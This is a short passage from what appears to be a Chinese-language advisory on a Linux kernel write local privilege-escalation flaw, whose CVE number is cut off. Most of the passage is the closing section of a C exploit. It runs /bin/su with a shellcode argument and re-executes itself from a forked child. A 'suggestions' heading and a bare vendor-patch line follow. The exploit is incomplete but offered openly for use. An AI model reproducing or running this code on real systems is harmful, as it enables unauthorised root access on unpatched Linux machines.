Linux Kernel write本地权限提升漏洞(CVE(3)

#else
#error "That platform is not supported."
#endif
        printf("[+] Executing su with shellcode.\n");
        execl("/bin/su", "su", shellcode, NULL);
    } else {
        char pid[32];
        sprintf(pid, "%d", parent_pid);
        printf("[+] Executing child from child fork.\n");
        execl("/proc/self/exe", argv[0], "-c", pid, NULL);
    }
}

建议：
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厂商补丁：

Linux
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